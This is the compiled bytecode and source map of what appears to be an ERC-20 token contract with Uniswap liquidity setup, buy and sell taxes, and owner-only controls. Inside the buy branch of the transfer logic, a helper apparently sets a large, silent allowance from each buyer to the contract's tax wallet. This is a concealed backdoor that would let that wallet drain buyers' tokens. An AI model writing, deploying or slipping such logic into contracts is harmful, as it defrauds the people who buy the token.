01b031633146106045760405162461bcd60e51b81526004016104689061172a565b60405133904780156108fc02915f818181858888f1935050505015801561062d573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106595760405162461bcd60e51b81526004016104689061172a565b601354600160a01b900460ff16156106b35760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610468565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fd9030906106ee6009600a611705565b610430906461f313f880611713565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610771919061175f565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f4919061175f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561083e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610862919061175f565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306108a9816001600160a01b03165f9081526001602052604090205490565b5f806108bc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610922573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610947919061177a565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561099c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c091906117a5565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610a9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b5f8111610c245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b6013545f908190600160b01b900460ff161580610c4a5750601354600160a81b900460ff165b15610d03576001600160a01b0385165f90815260016020526040902054610c729084906117c4565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ca19084906117d7565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf49087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d2d57505f546001600160a01b03858116911614155b15610f8d5760105415610d3f57506011545b6013546001600160a01b038681169116148015610d6a57506012546001600160a01b03858116911614155b8015610d8e57506001600160a01b0384165f9081526003602052604090205460ff16155b15610eb757600554831115610de55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7437392e000000000000006044820152606401610468565b60065483610e07866001600160a01b03165f9081526001602052604090205490565b610e1191906117d7565b1115610e5f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610468565b600d5460105411610e7257600954610e76565b600b545b604080518082019091526001600160a01b038088168252600454166020820152909150610ea290611111565b60108054905f610eb1836117ea565b91905055505b6013546001600160a01b038581169116148015610edd57506001600160a01b0385163014155b15610efc57600e5460105411610ef557600a54610ef9565b600c545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f3257506013546001600160a01b038681169116145b8015610f475750601354600160b01b900460ff165b15610f8b5760075481118015610f605750600f54601054115b15610f8257610f82610f7d85610f78846008546111c2565b6111c2565b6111d9565b610f8b47611349565b505b801561101d57610fa86064610fa28386611384565b90611402565b305f90815260016020526040902054909250610fc49083611443565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110149086815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461103f90846114a1565b6001600160a01b0386165f9081526001602052604090205561108261106484846114a1565b6001600160a01b0386165f9081526001602052604090205490611443565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110cb86866114a1565b604051908152602001610cf4565b5f81848411156110fc5760405162461bcd60e51b8152600401610468919061150e565b505f61110884866117c4565b95945050505050565b805160208201516008545f90611128906032611443565b611133906064611713565b61115960646111446009600a611705565b611153906461f313f880611713565b90611443565b611164906064611713565b61116f9060966117d7565b61117991906117d7565b9050611186816064611443565b611191906064611713565b6001600160a01b039384165f9081526002602090815260408083209590961682529390935292909120919091555050565b5f8183116111d057826111d2565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061121f5761121f611802565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611276573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061129a919061175f565b816001815181106112ad576112ad611802565b6001600160a01b0392831660209182029290920101526012546112d391309116846109da565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061130b9085905f90869030904290600401611816565b5f604051808303815f87803b158015611322575f80fd5b505af1158015611334573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611380573d5f803e3d5ffd5b5050565b5f825f0361139357505f6103b1565b5f61139e8385611713565b9050826113ab8583611887565b146111d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b5f6111d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e2565b5f8061144f83856117d7565b9050838110156111d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b5f6111d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d9565b5f81836115025760405162461bcd60e51b8152600401610468919061150e565b505f6111088486611887565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461062d575f80fd5b5f8060408385031215611568575f80fd5b823561157381611543565b946020939093013593505050565b5f805f60608486031215611593575f80fd5b833561159e81611543565b925060208401356115ae81611543565b929592945050506040919091013590565b5f602082840312156115cf575f80fd5b81356111d281611543565b5f80604083850312156115eb575f80fd5b82356115f681611543565b9150602083013561160681611543565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165f57815f190482111561164557611645611611565b8085161561165257918102915b93841c939080029061162a565b509250929050565b5f82611675575060016103b1565b8161168157505f6103b1565b816001811461169757600281146116a1576116bd565b60019150506103b1565b60ff8411156116b2576116b2611611565b50506001821b6103b1565b5060208310610133831016604e8410600b84101617156116e0575081810a6103b1565b6116ea8383611625565b805f19048211156116fd576116fd611611565b029392505050565b5f6111d260ff841683611667565b80820281158282048414176103b1576103b1611611565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561176f575f80fd5b81516111d281611543565b5f805f6060848603121561178c575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b5575f80fd5b815180151581146111d2575f80fd5b818103818111156103b1576103b1611611565b808201808211156103b1576103b1611611565b5f600182016117fb576117fb611611565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118665784516001600160a01b031683529383019391830191600101611841565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118a157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ec481485218d3753bbfa38049c8c78c5b3ce0d5dcecd310c2f8350094a0a35c64736f6c63430008190033

3631:7847:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6550:83;;;;;;;;;;-1:-1:-1;6620:5:0;;;;;;;;;;;;-1:-1:-1;;;6620:5:0;;;;6550:83;;;;;;;:::i;:::-;;;;;;;;7376:161;;;;;;;;;;-1:-1:-1;7376:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7376:161:0;893:187:1;4287:48:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4287:48:0;1085:177:1;6825:97:0;;;;;;;;;;;;;:::i;7543:312::-;;;;;;;;;;-1:-1:-1;7543:312:0;;;;;:::i;:::-;;:::i;6732:83::-;;;;;;;;;;-1:-1:-1;6732:83:0;;3977:1;1870:36:1;;1858:2;1843:18;6732:83:0;1728:184:1;4175:49:0;;;;;;;;;;;;;;;;6928:121;;;;;;;;;;-1:-1:-1;6928:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;7021:20:0;6994:7;7021:20;;;:11;:20;;;;;;;6928:121;2718:148;;;;;;;;;;;;;:::i;:::-;;10802:168;;;;;;;;;;;;;:::i;2504:79::-;;;;;;;;;;-1:-1:-1;2542:7:0;2569:6;2504:79;;-1:-1:-1;;;;;2569:6:0;;;2315:51:1;;2303:2;2288:18;2504:79:0;2169:203:1;6639:87:0;;;;;;;;;;-1:-1:-1;6711:7:0;;;;;;;;;;;;-1:-1:-1;;;6711:7:0;;;;6639:87;;11293:147;;;;;;;;;;-1:-1:-1;11293:147:0;;;;;:::i;:::-;;:::i;7055:167::-;;;;;;;;;;-1:-1:-1;7055:167:0;;;;;:::i;:::-;;:::i;4231:49::-;;;;;;;;;;;;;;;;4342:47;;;;;;;;;;;;;;;;11177:110;;;;;;;;;;;;;:::i;5463:812::-;;;;;;;;;;;;;:::i;7228:142::-;;;;;;;;;;-1:-1:-1;7228:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;7336:17:0;;;7309:7;7336:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;7228:142;7376:161;7451:4;7468:39;2163:10;7491:7;7500:6;7468:8;:39::i;:::-;-1:-1:-1;7525:4:0;7376:161;;;;;:::o;6825:97::-;6878:7;4037:13;3977:1;4037:2;:13;:::i;:::-;4022:28;;:12;:28;:::i;:::-;6898:16;;6825:97;:::o;7543:312::-;7641:4;7658:36;7668:6;7676:9;7687:6;7658:9;:36::i;:::-;7705:120;7714:6;2163:10;7736:88;7773:6;7736:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7736:18:0;;;;;;:10;:18;;;;;;;;2163:10;7736:32;;;;;;;;;;:36;:88::i;:::-;7705:8;:120::i;:::-;-1:-1:-1;7843:4:0;7543:312;;;;;:::o;2718:148::-;2631:6;;-1:-1:-1;;;;;2631:6:0;2163:10;2631:22;2623:67;;;;-1:-1:-1;;;2623:67:0;;;;;;;:::i;:::-;;;;;;;;;2825:1:::1;2809:6:::0;;2788:40:::1;::::0;-1:-1:-1;;;;;2809:6:0;;::::1;::::0;2788:40:::1;::::0;2825:1;;2788:40:::1;2856:1;2839:19:::0;;-1:-1:-1;;;;;;2839:19:0::1;::::0;;2718:148::o;10802:168::-;2631:6;;-1:-1:-1;;;;;2631:6:0;2163:10;2631:22;2623:67;;;;-1:-1:-1;;;2623:67:0;;;;;;;:::i;:::-;4037:13:::1;3977:1;4037:2;:13;:::i;:::-;4022:28;::::0;:12:::1;:28;:::i;:::-;10856:12;:24:::0;4037:13:::1;3977:1;4037:2;:13;:::i;:::-;4022:28;::::0;:12:::1;:28;:::i;:::-;10892:12;:24:::0;10932:29:::1;4037:13;3977:1;4037:2;:13;:::i;:::-;4022:28;::::0;:12:::1;:28;:::i;:::-;10932:29;::::0;1231:25:1;;;1219:2;1204:18;10932:29:0::1;;;;;;;10802:168::o:0;11293:147::-;2631:6;;-1:-1:-1;;;;;2631:6:0;2163:10;2631:22;2623:67;;;;-1:-1:-1;;;2623:67:0;;;;;;;:::i;:::-;11370:10:::1;:19:::0;;-1:-1:-1;;;;;11370:19:0;;::::1;-1:-1:-1::0;;;;;;11370:19:0;;::::1;::::0;::::1;::::0;;:10:::1;11400:25:::0;;;:17:::1;:25;::::0;;;;:32;;-1:-1:-1;;11400:32:0::1;11370:19:::0;11400:32:::1;::::0;;11293:147::o;7055:167::-;7133:4;7150:42;2163:10;7174:9;7185:6;7150:9;:42::i;11177:110::-;2631:6;;-1:-1:-1;;;;;2631:6:0;2163:10;2631:22;2623:67;;;;-1:-1:-1;;;2623:67:0;;;;;;;:::i;:::-;11228:51:::1;::::0;11236:10:::1;::::0;11257:21:::1;11228:51:::0;::::1;;;::::0;::::1;::::0;;;11257:21;11236:10;11228:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11177:110::o:0;5463:812::-;2631:6;;-1:-1:-1;;;;;2631:6:0;2163:10;2631:22;2623:67;;;;-1:-1:-1;;;2623:67:0;;;;;;;:::i;:::-;5525:11:::1;::::0;-1:-1:-1;;;5525:11:0;::::1;;;5524:12;5516:48;;;::::0;-1:-1:-1;;;5516:48:0;;5275:2:1;5516:48:0::1;::::0;::::1;5257:21:1::0;5314:2;5294:18;;;5287:30;5353:25;5333:18;;;5326:53;5396:18;;5516:48:0::1;5073:347:1::0;5516:48:0::1;5575:13;:102:::0;;-1:-1:-1;;;;;;5575:102:0::1;5624:42;5575:102:::0;;::::1;::::0;;;5688:58:::1;::::0;5705:4:::1;::::0;4037:13:::1;3977:1;4037:2;:13;:::i;:::-;4022:28;::::0;:12:::1;:28;:::i;5688:58::-;5789:13;;;;;;;;;-1:-1:-1::0;;;;;5789:13:0::1;-1:-1:-1::0;;;;;5789:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5771:53:0::1;;5847:4;5867:13;;;;;;;;;-1:-1:-1::0;;;;;5867:13:0::1;-1:-1:-1::0;;;;;5867:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5771:127;::::0;-1:-1:-1;;;;;;5771:127:0::1;::::0;;;;;;-1:-1:-1;;;;;5911:15:1;;;5771:127:0::1;::::0;::::1;5893:34:1::0;5963:15;;5943:18;;;5936:43;5828:18;;5771:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5757:11;:141:::0;;-1:-1:-1;;;;;5757:141:0;;::::1;-1:-1:-1::0;;;;;;5757:141:0;;::::1;;::::0;;5910:13:::1;::::0;::::1;:29;5947:21;5992:4;6012:24;5992:4:::0;-1:-1:-1;;;;;7021:20:0;6994:7;7021:20;;;:11;:20;;;;;;;6928:121;6012:24:::1;6051:1;6067::::0;6083:7:::1;2542::::0;2569:6;-1:-1:-1;;;;;2569:6:0;;2504:79;6083:7:::1;5910:221;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5910:221:0;;;-1:-1:-1;;;;;6349:15:1;;;5910:221:0::1;::::0;::::1;6331:34:1::0;6381:18;;;6374:34;;;;6424:18;;;6417:34;;;;6467:18;;;6460:34;6531:15;;;6510:19;;;6503:44;6105:15:0::1;6563:19:1::0;;;6556:35;6265:19;;5910:221:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6149:11:0::1;::::0;6178:13:::1;::::0;6142:67:::1;::::0;-1:-1:-1;;;6142:67:0;;-1:-1:-1;;;;;6178:13:0;;::::1;6142:67;::::0;::::1;7087:51:1::0;-1:-1:-1;;7154:18:1;;;7147:34;6149:11:0;::::1;::::0;-1:-1:-1;6142:27:0::1;::::0;7060:18:1;;6142:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6220:11:0::1;:18:::0;;-1:-1:-1;;;;6249:18:0;-1:-1:-1;;;6249:18:0;;;5463:812::o;7861:334::-;-1:-1:-1;;;;;7954:19:0;;7946:68;;;;-1:-1:-1;;;7946:68:0;;7676:2:1;7946:68:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:34;7849:19;;7946:68:0;7474:400:1;7946:68:0;-1:-1:-1;;;;;8033:21:0;;8025:68;;;;-1:-1:-1;;;8025:68:0;;8081:2:1;8025:68:0;;;8063:21:1;8120:2;8100:18;;;8093:30;8159:34;8139:18;;;8132:62;-1:-1:-1;;;8210:18:1;;;8203:32;8252:19;;8025:68:0;7879:398:1;8025:68:0;-1:-1:-1;;;;;8104:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;8155:32;;1231:25:1;;;8155:32:0;;1204:18:1;8155:32:0;;;;;;;7861:334;;;:::o;8201:2119::-;-1:-1:-1;;;;;8291:18:0;;8283:68;;;;-1:-1:-1;;;8283:68:0;;8484:2:1;8283:68:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:35;8658:19;;8283:68:0;8282:401:1;8283:68:0;-1:-1:-1;;;;;8370:16:0;;8362:64;;;;-1:-1:-1;;;8362:64:0;;8890:2:1;8362:64:0;;;8872:21:1;8929:2;8909:18;;;8902:30;8968:34;8948:18;;;8941:62;-1:-1:-1;;;9019:18:1;;;9012:33;9062:19;;8362:64:0;8688:399:1;8362:64:0;8456:1;8445:8;:12;8437:66;;;;-1:-1:-1;;;8437:66:0;;9294:2:1;8437:66:0;;;9276:21:1;9333:2;9313:18;;;9306:30;9372:34;9352:18;;;9345:62;-1:-1:-1;;;9423:18:1;;;9416:39;9472:19;;8437:66:0;9092:405:1;8437:66:0;8561:11;;8514:13;;;;-1:-1:-1;;;8561:11:0;;;;8560:12;;:22;;-1:-1:-1;8576:6:0;;-1:-1:-1;;;8576:6:0;;;;8560:22;8556:231;;;-1:-1:-1;;;;;8619:17:0;;;;;;:11;:17;;;;;;:28;;8639:8;;8619:28;:::i;:::-;-1:-1:-1;;;;;8599:17:0;;;;;;;:11;:17;;;;;;:48;;;;8680:15;;;;;;;:26;;8698:8;;8680:26;:::i;:::-;-1:-1:-1;;;;;8662:15:0;;;;;;;:11;:15;;;;;;;:44;;;;8726:28;;;;;;;;;;8745:8;1231:25:1;;1219:2;1204:18;;1085:177;8726:28:0;;;;;;;;8769:7;;8201:2119;;;:::o;8556:231::-;2542:7;2569:6;-1:-1:-1;;;;;8801:15:0;;;2569:6;;8801:15;;;;:32;;-1:-1:-1;2542:7:0;2569:6;-1:-1:-1;;;;;8820:13:0;;;2569:6;;8820:13;;8801:32;8797:1114;;;8853:9;;:11;8850:72;;-1:-1:-1;8893:12:0;;8850:72;8948:11;;-1:-1:-1;;;;;8940:19:0;;;8948:11;;8940:19;:51;;;;-1:-1:-1;8977:13:0;;-1:-1:-1;;;;;8963:28:0;;;8977:13;;8963:28;;8940:51;:78;;;;-1:-1:-1;;;;;;8997:21:0;;;;;;:17;:21;;;;;;;;8995:23;8940:78;8936:421;;;9060:12;;9048:8;:24;;9040:62;;;;-1:-1:-1;;;9040:62:0;;9967:2:1;9040:62:0;;;9949:21:1;10006:2;9986:18;;;9979:30;10045:27;10025:18;;;10018:55;10090:18;;9040:62:0;9765:349:1;9040:62:0;9157:12;;9145:8;9129:13;9139:2;-1:-1:-1;;;;;7021:20:0;6994:7;7021:20;;;:11;:20;;;;;;;6928:121;9129:13;:24;;;;:::i;:::-;:40;;9121:79;;;;-1:-1:-1;;;9121:79:0;;10321:2:1;9121:79:0;;;10303:21:1;10360:2;10340:18;;;10333:30;10399:28;10379:18;;;10372:56;10445:18;;9121:79:0;10119:350:1;9121:79:0;9239:15;;9229:9;;:25;9228:55;;9269:14;;9228:55;;;9256:12;;9228:55;9303:25;;;;;;;;;-1:-1:-1;;;;;9303:25:0;;;;;9316:10;;;9303:25;;;;9219:65;;-1:-1:-1;9303:25:0;;:5;:25::i;:::-;9330:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8936:421;9380:11;;-1:-1:-1;;;;;9374:17:0;;;9380:11;;9374:17;:41;;;;-1:-1:-1;;;;;;9395:20:0;;9410:4;9395:20;;9374:41;9371:149;;;9456:16;;9446:9;;:26;9445:58;;9488:15;;9445:58;;;9474:13;;9445:58;9436:68;;9371:149;9583:4;9534:28;7021:20;;;:11;:20;;;;;;9609:6;;-1:-1:-1;;;9609:6:0;;;;9608:7;:28;;;;-1:-1:-1;9625:11:0;;-1:-1:-1;;;;;9619:17:0;;;9625:11;;9619:17;9608:28;:43;;;;-1:-1:-1;9640:11:0;;-1:-1:-1;;;9640:11:0;;;;9608:43;9604:296;;;9698:11;;9675:20;:34;:68;;;;;9725:18;;9713:9;;:30;9675:68;9672:161;;;9766:67;9776:56;9782:8;9792:39;9798:20;9820:10;;9792:5;:39::i;:::-;9776:5;:56::i;:::-;9766:9;:67::i;:::-;9852:32;9862:21;9852:9;:32::i;:::-;8835:1076;8797:1114;9924:9;;9921:210;;9957:28;9981:3;9957:19;:5;9967:8;9957:9;:19::i;:::-;:23;;:28::i;:::-;10047:4;10027:26;;;;:11;:26;;;;;;9949:36;;-1:-1:-1;10027:37:0;;9949:36;10027:30;:37::i;:::-;10020:4;10000:26;;;;:11;:26;;;;;;;:64;;;;10084:35;;-1:-1:-1;;;;;10084:35:0;;;;;;;10113:5;1231:25:1;;1219:2;1204:18;;1085:177;10084:35:0;;;;;;;;9921:210;-1:-1:-1;;;;;10159:17:0;;;;;;:11;:17;;;;;;:31;;10181:8;10159:21;:31::i;:::-;-1:-1:-1;;;;;10141:17:0;;;;;;:11;:17;;;;;:49;10217:40;10237:19;:8;10250:5;10237:12;:19::i;:::-;-1:-1:-1;;;;;10217:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;10201:15:0;;;;;;;:11;:15;;;;;:56;;;;10273:39;;;10292:19;:8;10305:5;10292:12;:19::i;:::-;10273:39;;1231:25:1;;;1219:2;1204:18;10273:39:0;1085:177:1;1262:190:0;1348:7;1384:12;1376:6;;;;1368:29;;;;-1:-1:-1;;;1368:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1408:9:0;1420:5;1424:1;1420;:5;:::i;:::-;1408:17;1262:190;-1:-1:-1;;;;;1262:190:0:o;6281:263::-;6356:8;;;6384;;;6456:10;;6340:13;;6456:18;;6471:2;6456:14;:18::i;:::-;6452:22;;:3;:22;:::i;:::-;6431:18;6445:3;4037:13;3977:1;4037:2;:13;:::i;:::-;4022:28;;:12;:28;:::i;:::-;6431:13;;:18::i;:::-;6427:22;;:3;:22;:::i;:::-;6421:28;;:3;:28;:::i;:::-;:53;;;;:::i;:::-;6403:71;-1:-1:-1;6514:16:0;6403:71;6526:3;6514:11;:16::i;:::-;:22;;6533:3;6514:22;:::i;:::-;-1:-1:-1;;;;;6485:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;;:51;;;;-1:-1:-1;;6281:263:0:o;10976:100::-;11035:7;11062:1;11060;:3;11059:9;;11067:1;11059:9;;;11065:1;11059:9;11052:16;10976:100;-1:-1:-1;;;10976:100:0:o;10326:470::-;5035:6;:13;;-1:-1:-1;;;;5035:13:0;-1:-1:-1;;;5035:13:0;;;10421:16:::1;::::0;;10435:1:::1;10421:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10421:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10421:16:0::1;10397:40;;10466:4;10448;10453:1;10448:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10448:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10492:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;10492:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;10448:7;;10492:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10482:4;10487:1;10482:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10482:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10555:13:::1;::::0;10523:60:::1;::::0;10540:4:::1;::::0;10555:13:::1;10571:11:::0;10523:8:::1;:60::i;:::-;10594:13;::::0;:194:::1;::::0;-1:-1:-1;;;10594:194:0;;-1:-1:-1;;;;;10594:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;10673:11;;10594:13:::1;::::0;10715:4;;10742::::1;::::0;10762:15:::1;::::0;10594:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5071:6:0;:14;;-1:-1:-1;;;;5071:14:0;;;-1:-1:-1;;;;10326:470:0:o;11082:89::-;11136:10;;:27;;-1:-1:-1;;;;;11136:10:0;;;;:27;;;;;11156:6;;11136:10;:27;:10;:27;11156:6;11136:10;:27;;;;;;;;;;;;;;;;;;;;;11082:89;:::o;1460:246::-;1518:7;1542:1;1547;1542:6;1538:47;;-1:-1:-1;1572:1:0;1565:8;;1538:47;1595:9;1607:5;1611:1;1607;:5;:::i;:::-;1595:17;-1:-1:-1;1640:1:0;1631:5;1635:1;1595:17;1631:5;:::i;:::-;:10;1623:56;;;;-1:-1:-1;;;1623:56:0;;12287:2:1;1623:56:0;;;12269:21:1;12326:2;12306:18;;;12299:30;12365:34;12345:18;;;12338:62;-1:-1:-1;;;12416:18:1;;;12409:31;12457:19;;1623:56:0;12085:397:1;1714:132:0;1772:7;1799:39;1803:1;1806;1799:39;;;;;;;;;;;;;;;;;:3;:39::i;931:179::-;989:7;;1021:5;1025:1;1021;:5;:::i;:::-;1009:17;;1050:1;1045;:6;;1037:46;;;;-1:-1:-1;;;1037:46:0;;12689:2:1;1037:46:0;;;12671:21:1;12728:2;12708:18;;;12701:30;12767:29;12747:18;;;12740:57;12814:18;;1037:46:0;12487:351:1;1118:136:0;1176:7;1203:43;1207:1;1210;1203:43;;;;;;;;;;;;;;;;;:3;:43::i;1854:189::-;1940:7;1975:12;1968:5;1960:28;;;;-1:-1:-1;;;1960:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1999:9:0;2011:5;2015:1;2011;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;2919:32;2960:33;:::i;:::-;3012:7;3002:17;;;2637:388;;;;;:::o;3030:127::-;3091:10;3086:3;3082:20;3079:1;3072:31;3122:4;3119:1;3112:15;3146:4;3143:1;3136:15;3162:416;3251:1;3288:5;3251:1;3302:270;3323:7;3313:8;3310:21;3302:270;;;3382:4;3378:1;3374:6;3370:17;3364:4;3361:27;3358:53;;;3391:18;;:::i;:::-;3441:7;3431:8;3427:22;3424:55;;;3461:16;;;;3424:55;3540:22;;;;3500:15;;;;3302:270;;;3306:3;3162:416;;;;;:::o;3583:806::-;3632:5;3662:8;3652:80;;-1:-1:-1;3703:1:1;3717:5;;3652:80;3751:4;3741:76;;-1:-1:-1;3788:1:1;3802:5;;3741:76;3833:4;3851:1;3846:59;;;;3919:1;3914:130;;;;3826:218;;3846:59;3876:1